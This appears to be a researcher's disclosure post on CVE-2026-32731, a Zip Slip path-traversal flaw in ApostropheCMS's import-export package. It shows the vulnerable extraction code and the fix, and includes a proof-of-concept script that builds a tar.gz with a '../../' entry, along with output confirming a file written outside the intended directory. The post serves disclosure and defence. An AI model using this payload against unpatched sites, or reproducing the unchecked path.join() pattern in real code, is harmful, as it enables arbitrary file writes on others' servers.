CVE-2026-32731 · CVSS 9.1 (Critical) · Patched in
@apostrophecms/import-export@3.5.3
The bug is one line of code. The impact is arbitatory file write on any ApostropheCMS install that lets editors import content. This post walks through why that’s possible — and why “Zip Slip” continues to be one of the most reliably re-introduced vulnerability classes in Node.js, eight years after the original disclosure named the category.
The class of bug: Zip Slip
Zip Slip is the path-traversal cousin of every other archive-extraction vulnerability. The pattern is universal:
- A program receives an archive (
.zip,.tar,.tar.gz, anything). - For each entry, it joins the entry’s filename with a destination directory.
- It opens that joined path for writing.
If the entry name is subdir/file.txt, everything is fine. But the archive format does not forbid entries named ../../../../etc/passwd. The tar/zip spec is just bytes. If the extraction code doesn’t verify that the final resolved path is still inside the destination directory, the entry can write anywhere the process has permission to reach.
The bug, in twelve lines
The vulnerable function lives in packages/import-export/lib/formats/gzip.js. Stripped to the essentials:
async function extract(filepath, exportPath) {
// ...
extract.on('entry', (header, stream, next) => {
stream.pipe(
fs.createWriteStream(path.join(exportPath, header.name))
);
stream.on('end', next);
});
// ...
}
header.name comes directly from the tar entry. path.join(exportPath, header.name) concatenates them. The write stream opens at the joined path without any check that it still sits under exportPath. That’s the entire bug.
Why path.join() is not the safety check it looks like
This is the part worth dwelling on, because the mistake is exactly the kind a careful engineer would make.
path.join() performs string normalization, not boundary enforcement. It collapses ./, deduplicates separators, and resolves .. segments — but it will happily resolve .. past the base directory:
> path.join('/safe/extract/dir', '../../evil.js')
'/safe/evil.js' // two levels up. no error, no warning.
There is no configuration on path.join() that prevents this. The Node docs say so plainly — it joins segments, it does not sandbox them.
The defence developers reach for instinctively — path.join(base, untrusted) — is exactly the wrong primitive. What you actually need is:
const resolved = path.resolve(exportPath, header.name);
const root = path.resolve(exportPath) + path.sep;
if (!resolved.startsWith(root)) {
throw new Error(`Path traversal blocked: ${header.name}`);
}
path.resolve() produces an absolute, normalized path. The startsWith() check confirms it stays under the base.
Proof of concept
Minimum viable Zip Slip — a Node script that builds a .tar.gz with the entries the importer expects, plus one traversal entry, then feeds it to the vulnerable extract():
const tar = require('tar-stream');
const pack = tar.pack();
// Required by the importer or it errors out before reaching our payload
pack.entry({ name: 'aposDocs.json' }, '[]');
pack.entry({ name: 'aposAttachments.json' }, '[]');
// The traversal payload
pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED');
pack.finalize();
// pipe → gzip → write to disk → hand to extract()
Running this against the vulnerable function lands the write two directories above the intended extraction root:
EXPORT_PATH: /tmp/apos-zip-slip-XXXXXX/evil-export
EXPECTED_OUTSIDE_WRITE: /tmp/zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT: PWNED
From there, swapping ../../zip-slip-pwned.txt for ../../public/x.html (or whatever path the chain demands) is purely a question of counting ../s — usually three or four, depending on how deep the temp extraction directory sits inside the project tree.
The fix
The patch in 3.5.3 adds the missing boundary check. After resolving each entry’s destination, the extractor verifies it’s still under the export directory before opening a write stream. Entries that fail the check are rejected, the archive is treated as malformed, and no partial files remain on disk.
Thanks to the ApostropheCMS security team for clean, professional handling throughout.